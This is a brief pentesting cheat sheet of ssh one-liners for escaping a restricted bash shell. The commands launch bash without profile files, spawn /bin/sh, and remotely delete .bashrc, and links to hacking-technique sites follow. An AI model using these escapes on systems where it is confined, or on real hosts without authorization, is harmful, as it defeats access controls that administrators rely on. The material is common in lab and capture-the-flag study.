bypass bash restrictions

ssh (most common)

ssh user@IP -t "bash --noprofile"
ssh -t user@IP bash --norc --noprofile
ssh -t user@IP /bin/sh
ssh -t user@IP "bash --norc --noprofile -c '/bin/rm .bashrc'"

References

• Hacktricks.xyz/bypass-bash-restrictions

• hacknos.com/rbash-escape-rbash-restricted-shell-escape

• fireshellsecurity.team/restricted-linux-shell-escaping-techniques